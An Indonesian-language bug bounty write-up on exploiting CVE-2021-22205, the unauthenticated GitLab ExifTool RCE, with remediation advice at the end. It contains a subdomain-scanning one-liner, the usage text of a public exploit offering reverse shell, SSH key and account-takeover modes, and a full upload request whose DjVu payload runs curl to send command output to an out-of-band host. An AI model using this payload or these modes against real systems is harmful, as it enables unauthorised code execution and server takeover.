Pada tanggal 7 April 2021, vakkz mengirimkan laporan pada platform Hackerone bahwa ia telah menemukan kerentanan Remote Code Execution (RCE) saat user mengupload sebuah gambar ke Gitlab. Dalam konteks itu, Gitlab Workhorse mengirimkan gambar ke Exiftool untuk memfilter malicious content berdasarkan tag whiteist yang telah ditentukan sebelumnya.
Kerentanan itu dilabeli sebagai CVE-2021-22205 dan memiliki skor keparahan 10 lantaran penyerang jarak jauh yang tidak diautentikasi (diizinkan) bisa mengeksekusi perintah sewenang-wenang (arbitrer) sebagai pengguna “git” alias admin repositori tersebut
Mungkin itu sedikit gambaran mengenai celah yang saya manfaatkan untuk melakukan bug bounty hunting pada beberapa website, untuk lebih lengkapnya mengenai kerentanan tersebut kamu bisa baca disini
Selanjutnya saya ingin menuliskan awal mula ataupun tips bagaimana saya menemukan kerentanan ini pada suatu aplikasi hingga akhirnya dinyatakan valid dan mendapat bounty.
Summary
GitLab adalah sebuah layanan yang menyediakan akses jarak jauh ke repositori Git, peranti lunak terbuka berupa sistem kontrol yang membantu tim programmer mengelola perubahan pada kode sumber saat pengembangan proyek perkakas lunak.
Sedangkan Remote Code Execution merupakan bug dimana sang attacker mempunyai kemampuan untuk mengeksekusi perintah di mesin/aplikasi target, biasanya memanfaatkan kelemahan aplikasi yang dijadikan target eksploitasi, memungkinkan attacker untuk menjalankan command2 secara remote melalui url.
PoC (Piye o Carane)
Seperti bug hunter umumnya, tahap pertama kalo ngga footprinting yaa langsung reconnaisance (tahap pengumpulan informasi / data). ditahap ini saya melakukan subdomain scanning
Oneliner Subdomain Scanning :
van@tegalsec:~$ curl https://subbuster.cyberxplore.com/api/find?domain=redacted.com -s | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+"
Atau menggunakan Google Dorking :
Perlu diingat bahwa tidak semua aplikasi/website yang menggunakan Gitlab-workhorse ini rentan terhadap serangan ini
Karena saya sendiri ngga suka yang repot-repot, untuk melakukan testing kerentanan ini saya menggunakan automatic tools https://github.com/inspiringz/CVE-2021-22205
Testing Gitlab CE/EE Remote Code Excecution
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via postbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
Untuk mendeteksi :
RCE(Echo via PostBin OOB):
Impact
Dari adanya kerentanan ini penyerang bisa saja mengeksploitasi suatu kode atau perintah untuk mengakses informasi, reverse shell, hingga takeover system
Proposed Remediation :
Karena Gitlab mengirimkan perbaikan dalam versi 13.10.3, 13.9.6, dan 13.8.8, sebaiknya perbarui GitLab ke salah satu versi yang lebih besar atau sama dengan versi ini.
Karena serangan rentan terhadap GitLab yang terekspos ke internet, disarankan untuk tidak menghosting GitLab langsung ke internet. Terapkan di belakang gateway
VPN. atau publikasikan di platform aman seperti Citrix.
Examples of applications that have been fixed
POST /uploads/user HTTP/1.1
Host: gitlab.redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Connection: close
Content-Length: 923
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
Cookie: experimentation_subject_id=IjI5ZmM0MTUxLTc2ZWYtNDU2ZS04M2QzLTg2ODRjNzQ0MjAxNSI%3D--a4767246ecfddffedc7661ddcc5b1c7a2cf35485; _gitlab_session=a05a395e392046cc501bddd124ff7841
X-CSRF-Token: kUoI+ugtECXx79HGsLjwEsKk/enyWKme8+4pjOxtlq8XqWVVlFrYjRtxcVkFJWAfyDQS5iVFU1ZJzhIggjeOTg==
Accept-Encoding: gzip
------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
AT&TFORM DJVMDIRM. F !ȑN ڈkD ,q In"?FORM^DJVUINFO
d INCL shared_anno.iffBG44 J7 *BG44 BG44
FORM DJVIANTa P(metadata
(Copyright "\
" . qx{curl `uname`.c6a9ihdrodis621a0qqgcgkj11yyyyyyr.interact.sh?bugbounty=`whoami`} . \
" b ") )
Dumped HTTP response for https://gitlab.redacted.com/uploads/user
HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Alt-Svc: clear
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Wed, 17 Nov 2021 05:55:23 GMT
Referrer-Policy: strict-origin-when-cross-origin
Server: nginx
Vary: Accept-Encoding
Via: 1.1 google, 1.1 google
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Custom-Error: 1
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: Mzqmz755mF2
X-Runtime: 0.014970
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Versi yang sudah diperbaiki masih memungkinkan seseorang untuk menjangkau ExifTool, tetapi respons terhadap permintaan tersebut seharusnya berupa penolakan dalam bentuk kesalahan HTTP 404.[]
Referensi :
https://hackerone.com/reports/1154542
https://www.thesecmaster.com/how-to-fix-cve-2021-22205-unauthenticated-rce-vulnerability-in-gitlab/